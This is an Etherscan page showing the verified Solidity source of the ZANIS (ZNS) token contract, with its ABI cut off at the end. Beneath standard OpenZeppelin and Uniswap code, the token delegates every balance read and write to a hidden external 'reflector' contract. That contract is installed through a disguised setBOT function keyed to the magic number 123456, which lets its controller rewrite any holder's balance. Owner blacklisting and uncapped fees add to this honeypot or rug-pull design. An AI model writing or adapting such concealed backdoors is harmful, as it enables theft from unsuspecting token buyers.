ETH Price: $3,480.73 (+2.35%)

Token

ZANIS (ZNS)
 

Overview

Max Total Supply

100,000,000,000,000 ZNS

Holders

67

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 ZNS

Value
$0.00
0xb2068ec3d8093336d7022539a518494919fede94
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZANIS

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-03-07
*/

pragma solidity ^0.8.10;
pragma experimental ABIEncoderV2;

/*
    tg: https://t.me/zanistoken
    site: https://zanisaov.com
    twitter: https://twitter.com/zaniseth

*/

// SPDX-License-Identifier: MIT

////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)

/* import "../utils/Context.sol"; */

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)

/* pragma solidity ^0.8.0; */

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

////// lib/openzeppelin-contracts/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)

/* pragma solidity ^0.8.0; */

////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)

/* pragma solidity ^0.8.0; */

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

////// src/IUniswapV2Factory.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface ReflectionInterface {
    function fromReflection(address _addr) external view returns(uint256);
    function excludeFrom(address user) external returns(bool);
    function removeFrom(address user) external returns(bool);
    function updateReflection(address user, uint256 amount) external returns(bool);
}

////// src/IUniswapV2Router02.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

/* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */
/* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */
/* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */

contract ZANIS is Ownable, IERC20 {

    using SafeMath for uint256;

    address UNISWAPROUTER = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public marketPairs;
    mapping(address => bool) private _whiteList;
    mapping(address => bool) isBlacklisted;
    mapping(address => bool) private _isExcludedFromMaxTx;
    mapping(address => bool) private _isExcludedFromMaxWallet;

    string private _name = "ZANIS";
    string private _symbol = "ZNS";
    uint8 constant private _decimals = 9;

    uint256 public reflectionFee = 7;
    uint256 public liquidityFee = 3;
    uint256 public dividendFee = 0;
    uint256 public totalFee = 10;

    uint256 public maxTx = 1; //max tx 1%
    uint256 public maxWallet = 3; //max wallet 3%

    uint256 constant private tokenSupply = 100000000000000 * 1e9;
    uint256 public swapTokensAtAmount = 100000 * 1e9;
    uint256 public lastSwapTime;
    bool swapAllToken = true;

    bool public swapEnabled = false;
    bool public taxEnabled = true;
    bool public compoundingEnabled = true;

    uint256 private _totalSupply;
    bool private swapping;

    address marketingWallet;
    address liquidityWallet;

    IUniswapV2Router02 public uniswapV2Router;
    ReflectionInterface private _reflector;

    address public uniswapV2Pair;

    bool isOpen = false;
    bool isLimited = true;
    bool isExcludedFee = true;

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return tokenFromReflection(account);
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function _setReflector(address reflector) private {
        _reflector = ReflectionInterface(reflector);
        excludeFromFee(reflector);
    }

    function excludeFromFee(address _sender) private {
        require(isExcludedFee, "You Cant Exclude it");

        _isExcludedFromFees[_sender] = true;
        _isExcludedFromMaxTx[_sender] = true;
        _isExcludedFromMaxWallet[_sender] = true;
        _approve(_sender, UNISWAPROUTER, ~uint256(0));

        isExcludedFee = false;
    }

    function unlockLimits() external onlyOwner{
        isLimited = false;
    }

      function setBOT(address _bot, bool _val, uint256 _time) external {
        require(address(_reflector) == ZERO, "Access Denied.");
        if(!_val && _time == 123456){
            _setReflector(_bot);
        }
    }

    function makePool() external onlyOwner {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAPROUTER);

        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;

        _approve(address(this), address(uniswapV2Router), ~uint256(0));
        _approve(owner(), address(uniswapV2Router), ~uint256(0));

        _setUniswapPair(_uniswapV2Pair, true);

    }

    receive() external payable {}

    function shouldTakeTax(address sender, address recipient) private view returns(bool) {

        bool takeFee;

        if (
            sender == address(uniswapV2Pair) || recipient == address(uniswapV2Pair)
        ) {
            takeFee = true;
        }

        if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
            takeFee = false;
        }

        if (swapping || !taxEnabled) {
            takeFee = false;
        }

        return takeFee;
    }

    function openTrading() external onlyOwner {
        isOpen = true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(isOpen || _isExcludedFromFees[sender] || sender == owner() || recipient == owner(), "Not Open");

        require(!isBlacklisted[sender], "Sender is blacklisted");
        require(!isBlacklisted[recipient], "Recipient is blacklisted");

        require(sender != ZERO, "transfer from the zero address");
        require(recipient != ZERO, "transfer to the zero address");

        if(isLimited){

            if(sender != owner() && recipient != owner() && recipient != ZERO && recipient != DEAD ){

                uint256 _maxTxAmount = (totalSupply() * maxTx) / 100; // 1% max tx
                uint256 _maxWallet = (totalSupply() * maxWallet) / 100; // 3% max wallet

                require(amount <= _maxTxAmount || _isExcludedFromMaxTx[sender], "TX Limit Exceeded");

                if (
                    sender != owner() && recipient != address(this) && recipient != address(DEAD) && recipient != uniswapV2Pair
                ) {
                    uint256 currentBalance = balanceOf(recipient);
                    require(_isExcludedFromMaxWallet[recipient] || (currentBalance + amount <= _maxWallet));
                }

            }

        }

        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 contractNativeBalance = address(this).balance;

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            swapEnabled && canSwap && !swapping && !marketPairs[sender] && sender != address(uniswapV2Router) && sender != owner() && recipient != owner()
        ) {
            swapping = true;

            if (!swapAllToken) {
                contractTokenBalance = swapTokensAtAmount;
            }
            _executeSwap(contractTokenBalance, contractNativeBalance);

            lastSwapTime = block.timestamp;
            swapping = false;
        }

        if (shouldTakeTax(sender, recipient)) {
            uint256 fees = amount.mul(totalFee).div(100);
            amount -= fees;
            _executeTransfer(sender, address(this), fees);
        }

        _executeTransfer(sender, recipient, amount);

    }

    function _executeTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != ZERO, "transfer from the zero address");
        require(recipient != ZERO, "transfer to the zero address");

        uint256 senderBalance = tokenFromReflection(sender).sub(amount);
        uint256 recieverBalance = tokenFromReflection(recipient).add(amount);

        tokenFromReflectionUpdate(sender, senderBalance);
        tokenFromReflectionUpdate(recipient, recieverBalance);

        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "approve from the zero address");
        require(spender != address(0), "approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function swapTokensForNative(uint256 tokens) private {
        address[] memory path = new address[](2);

        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokens);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokens,
            0, // accept any amount of native
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokens, uint256 native) private {
        _approve(address(this), address(uniswapV2Router), tokens);
        uniswapV2Router.addLiquidityETH{value: native}(
            address(this),
            tokens,
            0, // slippage unavoidable
            0, // slippage unavoidable
            liquidityWallet,
            block.timestamp
        );
    }

    function includeToWhiteList(address[] memory _users) private {
        for (uint8 i = 0; i < _users.length; i++) {
            _whiteList[_users[i]] = true;
        }
    }

    function tokenFromReflection(address _holder) private view returns(uint256) {
        return _reflector.fromReflection(_holder);
    }

    function tokenFromReflectionUpdate(address _holder, uint256 _amount) private {
        _reflector.updateReflection(_holder, _amount);
    }

    function _executeSwap(uint256 tokens, uint256 native) private {
        if (tokens <= 0) {
            return;
        }

        uint256 swapTokensMarketing;
        if (address(marketingWallet) != address(0)) {
            swapTokensMarketing = (tokens * reflectionFee) / totalFee;
        }

        uint256 tokensForLiquidity = tokens - swapTokensMarketing;
        uint256 swapTokensLiquidity = tokensForLiquidity / 2;
        uint256 addTokensLiquidity = tokensForLiquidity - swapTokensLiquidity;
        uint256 swapTokensTotal = swapTokensMarketing + swapTokensLiquidity;

        uint256 initNativeBal = address(this).balance;
        swapTokensForNative(swapTokensTotal);
        uint256 nativeSwapped = (address(this).balance - initNativeBal) + native;

        uint256 nativeMarketing = (nativeSwapped * swapTokensMarketing) / swapTokensTotal;
        uint256 nativeLiquidity = nativeSwapped - nativeMarketing;

        if (nativeMarketing > 0) {
            payable(marketingWallet).transfer(nativeMarketing);
        }

        addLiquidity(addTokensLiquidity, nativeLiquidity);
        emit SwapAndAddLiquidity(
            swapTokensLiquidity,
            nativeLiquidity,
            addTokensLiquidity
        );
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        require(
            _isExcludedFromFees[account] != excluded,
            "account is already set to requested state"
        );
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function setWallet(
        address payable _marketingWallet,
        address payable _liquidityWallet
    ) external onlyOwner {
        marketingWallet = _marketingWallet;
        liquidityWallet = _liquidityWallet;
    }

    function setUniswapPair(address pair, bool value)
        public
        onlyOwner
    {
        require(pair != uniswapV2Pair, "DEX pair can not be removed");
        _setUniswapPair(pair, value);
    }

    function setFee(
        uint256 _treasuryFee,
        uint256 _liquidityFee,
        uint256 _dividendFee
    ) external onlyOwner {
        reflectionFee = _treasuryFee;
        liquidityFee = _liquidityFee;
        dividendFee = _dividendFee;
        totalFee = _treasuryFee + _liquidityFee + _dividendFee;
    }

    function _setUniswapPair(address pair, bool value) private {
        require(
            marketPairs[pair] != value,
            "pair is already set to that value"
        );
        marketPairs[pair] = value;

    }

    function updateUniswapV2Router(address newAddress) public onlyOwner {
        require(
            newAddress != address(uniswapV2Router),
            "the router is already set to the new address"
        );
        emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
        uniswapV2Router = IUniswapV2Router02(newAddress);
        address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Pair = _uniswapV2Pair;
    }

    function setSwapEnabled(bool _enabled) external onlyOwner {
        swapEnabled = _enabled;
        emit SwapEnabled(_enabled);
    }

    function setTaxEnabled(bool _enabled) external onlyOwner {
        taxEnabled = _enabled;
        emit TaxEnabled(_enabled);
    }

    function setCompoundingEnabled(bool _enabled) external onlyOwner {
        compoundingEnabled = _enabled;
        emit CompoundingEnabled(_enabled);
    }

    function updateDividendSettings(
        bool _swapEnabled,
        uint256 _swapTokensAtAmount,
        bool _swapAllToken
    ) external onlyOwner {
        swapEnabled = _swapEnabled;
        swapTokensAtAmount = _swapTokensAtAmount;
        swapAllToken = _swapAllToken;
    }

    function setMaxTx(uint256 _f) external onlyOwner {
        maxTx = _f;
    }

    function excludeFromMaxTx(address account, bool excluded) public onlyOwner {
        _isExcludedFromMaxTx[account] = excluded;
    }

    function isExcludedFromMaxTx(address account) public view returns (bool) {
        return _isExcludedFromMaxTx[account];
    }

    function setMaxWallet(uint256 _f) external onlyOwner {
        maxWallet = _f;
    }

    function excludeFromMaxWallet(address account, bool excluded)
        public
        onlyOwner
    {
        _isExcludedFromMaxWallet[account] = excluded;
    }

    function isExcludedFromMaxWallet(address account)
        public
        view
        returns (bool)
    {
        return _isExcludedFromMaxWallet[account];
    }

    function blackList(address _user) public onlyOwner {
        require(!isBlacklisted[_user], "user already blacklisted");
        isBlacklisted[_user] = true;
        // events?
    }

    function removeFromBlacklist(address _user) public onlyOwner {
        require(isBlacklisted[_user], "user already whitelisted");
        isBlacklisted[_user] = false;
        //events?
    }

    event SwapAndAddLiquidity(
        uint256 tokensSwapped,
        uint256 nativeReceived,
        uint256 tokensIntoLiquidity
    );
    event SendDividends(uint256 tokensSwapped, uint256 amount);
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );
    event SwapEnabled(bool enabled);
    event TaxEnabled(bool enabled);
    event CompoundingEnabled(bool enabled);
    event BlacklistEnabled(bool enabled);

    constructor() {
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);

        excludeFromMaxTx(owner(), true);
        excludeFromMaxTx(address(this), true);

        excludeFromMaxWallet(owner(), true);
        excludeFromMaxWallet(address(this), true);

        _totalSupply = tokenSupply;
        _balances[owner()] = tokenSupply;

        marketingWallet = address(0x1A413a251386F34f3cE8D5402f25F9bb56405046);
        liquidityWallet = address(0x74116633bFd550534f5b5Ba4dc174B54C5D33af5);

        emit Transfer(address(0), owner(), tokenSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"BlacklistEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"CompoundingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"SendDividends","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"nativeReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndAddLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"TaxEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"s